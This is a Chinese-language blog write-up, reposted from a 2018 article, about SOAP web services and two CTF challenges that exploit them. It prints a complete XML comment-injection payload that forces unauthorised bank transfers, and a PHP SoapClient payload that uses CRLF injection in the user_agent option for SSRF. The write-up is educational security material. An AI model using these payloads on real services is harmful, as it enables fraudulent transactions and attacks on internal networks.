soap

0x01 SOAP基础知识

1.SOAP的基本概念

什么是SOAP?这就要从WebService说起了

WebService是一种跨平台,跨语言的规范,用于不同平台,不同语言开发的应用之间的交互。

比如在Windows Server服务器上有个C#.Net开发的应用A,在Linux上有个Java语言开发的应用B,B应用要调用A应用,或者是互相调用。用于查看对方的业务数据。这个时候,如何解决呢?

WebService就是出于以上类似需求而定义出来的规范:开发人员一般就是在具体平台开发webservice接口,以及调用webservice接口。每种开发语言都有自己的webservice实现框架。

而SOAP作为webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP 可以和现存的许多因特网协议和格式结合使用,包括超文本传输协议(HTTP),简单邮件传输协议(SMTP),多用途网际邮件扩充协议(MIME)。

简单而言,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。

其采用HTTP作为底层通讯协议,XML作为数据传送的格式

SOAP消息基本上是从发送端到接收端的单向传输,但它们常常结合起来执行类似于请求 / 应答的模式。

2.SOAP的组成

一条 SOAP消息的组成:一个包含有一个必需的 SOAP 的封装包,一个可选的 SOAP 标头和一个必需的 SOAP 体块的 XML 文档。

SOAP消息格式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml
version="1.0"?>
<soap:Envelope
xmlns:soap="http://www.w3.org/2001/12/soap-envelope"
soap:encodingStyle="http://www.w3.org/2001/12/soap-encoding">

<soap:Header>
</soap:Header>

<soap:Body>
<soap:Fault>
</soap:Fault>
</soap:Body>

</soap:Envelope>

其中

Envelope: 标识XML文档,具有名称空间和编码详细信息。

Header:包含标题信息,如内容类型和字符集等。

Body:包含请求和响应信息。

Fault:错误和状态信息。

而关于soap的漏洞,我将用两道ctf的案例进行讲解分析

0x02 SOAP漏洞利用之代码注入(一)

题目如下

我们有如下功能

1.Profile:显示我们的当前身份和余额,每人最开始都有110元

2.Menu:主页面

3.Transfer:允许我们输入接收者ID并发送金额

4.VIP:需要1,000,000元才能进入该页面,应该是flag了

5.For Developers:告知我们api正在开发中,无法使用,但是html注释中有api的链接

不难看出,这是突破点,于是打开api链接后api/bankservice.wsdl.php

不难提取如下两个SOAP API:

检查余额

1
2
3
4
5
6
7
8
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:Bank">
<soapenv:Header/>
<soapenv:Body>
<urn:requestBalance soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<wallet_num xsi:type="xsd:decimal">wallet_num</wallet_num>
</urn:requestBalance>
</soapenv:Body>
</soapenv:Envelope>

转账交易

1
2
3
4
5
6
7
8
9
10
11
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:Bank">
<soapenv:Header/>
<soapenv:Body>
<urn:internalTransfer soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<receiver_wallet_num xsi:type="xsd:decimal">receiver_wallet_num</receiver_wallet_num>
<sender_wallet_num xsi:type="xsd:decimal">sender_wallet_num</sender_wallet_num>
<amount xsi:type="xsd:float">amount</amount>
<token xsi:type="xsd:string">token</token>
</urn:internalTransfer>
</soapenv:Body>
</soapenv:Envelope>

一目了然,对于余额检查,输入一个钱包id即可

而对于转账交易,需要输入接受者、发送者、发送金额、token四个参数

而我们需要理由的点,也肯定是转账交易了

这样就可以将所有用户的初始余额汇总到我们手上,以此得到flag

但是问题来了,我们缺少交易的token,那么如何不需要token,即可让所有人给我们转账呢?

这里就用到了一些注入

经过插入后,代码成为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:Bank">
<soapenv:Header/>
<soapenv:Body>
<urn:internalTransfer soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<receiver_wallet_num xsi:type="xsd:decimal">我们自己的id</receiver_wallet_num>
<sender_wallet_num xsi:type="xsd:decimal">其他人</sender_wallet_num>
<!--
</receiver_wallet_num>
<sender_wallet_num xsi:type="xsd:decimal">sender_wallet_num</sender_wallet_num>
<amount xsi:type="xsd:float">
-->
<amount xsi:type="xsd:float">750000</amount>
<token xsi:type="xsd:string">token</token>
</urn:internalTransfer>
</soapenv:Body>
</soapenv:Envelope>

通过代码的拼接(有点类似于sql注入,但又不是,也是利用语句的拼接与注释),我们即可控制自己想控制的位置,已到达任意转账的目的

最后访问vip页面即可

0x03 SOAP漏洞利用之CRLF与SSRF(二)

这就要从php的soap说起了,正如之前所说每种开发语言都有自己的webservice实现框架,php也不例外:

PHP 的 SOAP 扩展可以用来提供和使用 Web Services

这个扩展实现了6个类。其中有三个高级的类: SoapClient、SoapServer 和SoapFault,

和三个低级类,它们是 SoapHeader、SoapParam 和 SoapVar。

他们的关系如下:

而我们的重点利用对象当然是soapclient类

而为什么soapclient会有CRLF(carriage return/line feed)注入攻击问题呢?

这又要从soapclient的一个选项说起,我们查阅PHP手册

1
public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

其中的$options我们跟进查看

其中有一个选项为user_agent

可以让我们自定义User-Agent

为什么要利用User-Agent?

因为http header里有一个重要的Content-Type为和Content-Length

既然我们想要进行CRLF注入,那么势必需要控制这两项才可以实现

而User-Agent的http header位置正好在这些之上,所以可以进行覆盖

对于Content-Type,如果我们想要利用CRLF发送post请求,那么要求它为application/x-www-form-urlencode那么此时就可以利用CRLF,构造如下payload(以N1CTF的payload为例)

1
2
$payload = new SoapClient(null,array('user_agent'=>"test\r\nCookie: PHPSESSID=08jl0ttu86a5jgda8cnhjtvq32\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length:45\r\n\r\nusername=admin&password=nu1ladmin&code=470837\r\n\r\n\r\n",'location'=>$location,
'uri'=>$uri));

即可进行CRLF攻击

这样的攻击有什么用?

我们假设我们可以从外网调用到soap的api

而攻击目标是在内网

那么就可以利用soap攻击内网,因为CRLF的原因,可以增加我们的攻击面,包括sql注入,命令执行等等

所以也可以说是SSRF攻击了

其他

和许多漏洞一样,如果实现不同功能的时候,接收到不同的恶意参数,那么也会引起各种各样的攻击

像是实现sql查询的功能,可以引起sql注入问题

实现lookupDNS web服务的功能时,可引起命令注入的问题

后记

soap作为重要的消息通讯连接,如果过滤或者使用不当,很容易引起许多高危攻击

而本人不才,可能有许多点还没注意到,如有更好的观点,还请斧正!

来自 http://skysec.top/2018/08/17/SOAP%E5%8F%8A%E7%9B%B8%E5%85%B3%E6%BC%8F%E6%B4%9E%E7%A0%94%E7%A9%B6/

-------------本文结束感谢您的阅读-------------